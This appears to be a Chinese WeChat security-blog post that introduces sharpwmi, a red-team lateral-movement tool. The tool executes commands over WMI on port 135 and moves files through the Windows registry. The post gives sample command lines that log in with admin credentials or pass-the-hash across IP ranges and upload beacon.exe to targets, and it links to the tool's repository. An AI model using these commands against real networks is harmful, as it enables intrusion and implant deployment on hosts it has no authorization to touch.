一个基于rpc的横向移动工具，具有上传文件和执行命令功能。

upzhu x9sec

x9sec

微信号 x9sec_com

功能介绍进行网络安全知识分享，渗透测试，红队蓝队技术分享，安全开发平台开源

__发表于

收录于合集

声明：该公众号大部分文章来自作者日常学习笔记，也有部分文章是经过作者授权和其他公众号白名单转载，未经授权，严禁转载，如需转载，联系开白。请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本
公众号无关。

项目简介

这是一个基于135端口来进行横向移动的工具,具有执行命令和上传文件功能,通过wmi来执行命令,通过注册表来进行数据传输.

项目描述

**命令
**

 sharpwmi.exe login 192.168.2.3 administrator 123 cmd whoamisharpwmi.exe login 192.168.2.3/24 administrator 123 cmd whoamisharpwmi.exe login 192.168.2.3-23 administrator 123 upload beacon.exe c:\beacon.exesharpwmi.exe pth 192.168.2.3-192.168.2.77 cmd whoamisharpwmi.exe pth 192.168.2.3/255.255.255.0 upload beacon.exe c:\beacon.exe


 **  
**

原理:

执行命令：

通过wmi来执行命令，server将命令结果存在本机注册表，然后client连接注册表进行读取命令结果

上传文件:

client将需要上传的文件放到server的注册表里面，然后server通过powershell来操作注册表方式来取文件然后释放到本地

优点：

不依赖139和445端口

缺点：

目前只支持上传512kb以下的文件，因为注册表每个值值长度不能超过512kb。
执行命令和上传文件都依赖powershell

todo:

用添加增加多个值的方式来实现上传任意大小文件
去除powershell依赖

下载地址

项目地址： https://github.com/idiotc4t/sharpwmi ****

添加管理微信进内部交流群

**
**

**
**

往期推荐

WebSocket 内存马/Webshell，一种新型内存马/WebShell技术

Chunsou（春蒐），Web指纹资产识别，风险收敛以及企业互联网资产风险摸查识别工具

Nacos Hessian 反序列化漏洞利用工具

myscan 集成多个框架的漏洞扫描工具

Burp的JS API接口过滤插件

通达OA检测工具

从零学习Webshell免杀手册

爬网站JS文件，自动fuzz api接口，指定api接口

生成各类免杀webshell适合市面上常见的几种webshell管理工具、冰蝎、蚁剑、哥斯拉

一款新的webshell管理工具

浏览器插件-- 右键检测图片是否存在Exif漏洞

一个自动化通用爬虫用于自动化获取网站的URL

一个查询IP地理信息和CDN服务提供商的离线终端工具

红队批量脆弱点搜集工具

Spring漏洞综合利用工具——Spring_All_Reachable

利用字符集编码绕过waf的burpsuite插件

云安全- AK/SK泄露利用工具

可以自定义规则的密码字典生成器

MySql、Oracle、金仓、达梦、神通等数据库、Redis等管理工具

JNDI/LDAP注入利用工具

jmx未授权访问弱口令批量检测 GUI工具 - jmxbfGUI

预览时标签不可点

微信扫一扫
关注该公众号

知道了

微信扫一扫
使用小程序

取消允许

取消允许

：，。视频小程序赞，轻点两下取消赞在看，轻点两下取消在看